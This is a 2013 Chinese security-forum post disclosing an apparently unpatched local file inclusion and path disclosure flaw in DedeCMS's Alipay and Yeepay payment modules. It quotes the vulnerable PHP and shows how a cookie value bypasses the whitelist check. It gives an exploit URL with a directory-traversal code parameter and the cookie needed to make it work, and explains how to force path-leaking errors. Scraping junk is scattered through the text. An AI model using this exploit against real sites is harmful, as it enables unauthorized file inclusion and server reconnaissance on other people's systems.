中国网络渗透测试联盟

标题: dedecms本地文件包含及物理路径泄露0day [打印本页]

作者: admin    时间: 2013-4-4 17:25
标题: dedecms本地文件包含及物理路径泄露0day
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
) V# Q; F/ `9 o4 e+ ?" p2 E$ I( h( m! V
出现漏洞的两个文件为:4 V4 n  |5 u' u" S
Include/payment/alipay.php
& r2 K+ ~2 q7 z- YInclude/payment/yeepay.php
. O4 [1 s5 L. f. m) l; e漏洞均出现在respond方法里,估计这两个文件是临时工写的。
& v/ Y0 Z/ Q) J& M6 p: K, _8 C! X
; K$ r- [$ v  ~. a9 x/ x9 |) _Include/payment/alipay.php; `+ v  b4 V" }- j7 h; u+ R
: p! M' Y- H$ C. y0 X. E
......
4 d# q4 o' b$ d" d   function respond()
9 ^) G( ]6 Y$ ~$ r    {
+ m. |5 U$ r9 q. K. }. F/ m        if (!empty($_POST))
& B$ j/ J( |( n" {4 t        {" K" M7 O4 y3 @0 _# `2 J8 b7 s
            foreach($_POST as $key => $data)
7 N" \1 h* F" ]) w) T            {
  `5 F1 A1 K& s6 z  S7 m                $_GET[$key] = $data;
, k0 ~; W* f6 V9 k: o, E            }
$ K; c$ k$ C) N6 i7 g        }; c  A7 Q) p+ [6 _
        /* 引入配置文件 */, c3 `) @" s& Y# R$ F# K& Y
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';+ B! u3 A. V3 ~0 h7 w  G
......
1 L6 y1 }' b7 c 2 p! p8 N  R4 v( T: T1 V
" X- l( I8 g, |$ }* |
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。: J' `4 X" ^& ?+ c. p$ }" `
" \" K3 a  V4 L9 y! C% u
Include/payment/yeepay.php* P; c# ^: E. P
' P1 ?# @4 h8 z9 N

: m) `7 i/ Y+ w4 m/ `. j
7 R: z) z- e  b  y6 u% f- l......( p, r- @8 Q5 P4 ^. @: e$ Z4 A6 i
    function respond()3 x7 @$ T1 O0 q' q$ y
    {5 o% a, Z! @+ p: B
" y& Y$ i8 H9 c7 @- b( f# z
        /* 引入配置文件 */
- Z, A7 V/ ~7 \% m        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';% |. E4 t4 m7 E" \5 e0 O

3 O- m, C' Y* T0 q        $p1_MerId = trim($payment['yp_account']);
1 R5 K) q8 a- y        $merchantKey = trim($payment['yp_key']);' O: o7 E0 z. M! p
......
% ]/ ^' @# x- ?" W4 B3 w* ` 9 i7 N  k4 u) w; t: j7 U
; l+ G3 X) K- A, }( ]5 J/ S
- M9 ?5 w% `4 w2 |' N! v
( q# V* u- g! M7 V7 I
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。8 ^. J% v5 J; n4 V9 _- M

# H+ k. j7 `$ N+ p( k这两个方法在plus/carbuyaction.php文件调用。0 c/ ~7 D$ i, S+ ~$ V8 d7 ^

8 E* q# J, g: X7 r& N' cplus/carbuyaction.php+ M+ H5 J' C" [" ~, @4 Y# X
% m0 |5 I% f4 m' @2 E# F
......! _; k1 H4 j8 _" B" }, m$ J
} else if ($dopost == 'return') {
6 ~' ^4 X' a; ]" q* K/ d    $write_list = array('alipay', 'bank', 'cod', 'yeepay');' Z8 Y# J% i" ~8 N0 A
    if (in_array($code, $write_list))
* f) g2 V$ T1 ?% H$ y! O: {* W    {' G- h7 g& L4 Q# m
        require_once DEDEINC.'/payment/'.$code.'.php';( K" C4 g2 K* W' Z, Q
        $pay = new $code;
7 I& s3 j, k2 S, q. }' i8 U  a        $msg=$pay->respond();
& ]+ `: L, m# ?" o        ShowMsg($msg, "javascript:;", 0, 3000);. P( w# K+ U7 }+ G/ E* B
        exit();  
; l7 U2 M& B3 w1 h    } else {$ d( I- m2 e* q! U# X  j' R
        exit('Error:File Type Can\'t Recognized!');+ M/ T4 h* ~: v2 @* Y8 m& B
    }
5 h+ z/ x# U0 J2 j}* {, f, T: {! m7 w. @3 t
......
; i. A2 c. d/ m: o3 R0 p / r% }2 }+ C- X- u( J( H7 R/ `

/ o! T7 U4 e; n- [; ~  q) ^
7 L2 r2 y9 g# c4 o( K
! a: m' d3 O1 ?
2 p( H( P' ^* D# [7 V6 s
2 B' P2 g$ C4 l6 V( K& c; k6 |大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。. Q4 e' C# A9 X1 c( M# [
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。7 q1 u3 J2 R) C: Z

6 N) e$ s) t: c1 j/ F3 z: K% x- M回到include/common.inc.php来看看他的机制。8 i+ S6 i. _+ ^5 n) C) r
, ^' d3 G& f" K/ x+ k2 I0 U0 w

2 x$ D  ^+ |" H8 e- p. |/ v; J3 ]) [( ]
......4 G' F( ]: T# |! i4 h, }  R6 D1 @
foreach(Array('_GET','_POST','_COOKIE') as $_request)% p7 c/ J* u9 P0 T5 K2 n5 b
{
6 n" G# x1 R. V/ \        foreach($$_request as $_k => $_v) # ^$ J/ D5 X  j) z* ?5 C- q
        {; |! b3 V* F( v
                if($_k == 'nvarname') ${$_k} = $_v;9 x7 A, N1 d: P* q5 g" s- q* X) ?0 T. H
                else ${$_k} = _RunMagicQuotes($_v);, l* R3 H0 r( j" v. i# k+ x
        }
5 F1 z" C6 ]! x7 r# h9 T1 s6 K0 v" v}
8 u, u1 f* Z+ @4 A0 z* o...... $ s( a( b1 v: ~- I) A8 M0 ~; {
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
2 H1 w, s* @, N3 ]0 Z2 @7 Q由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2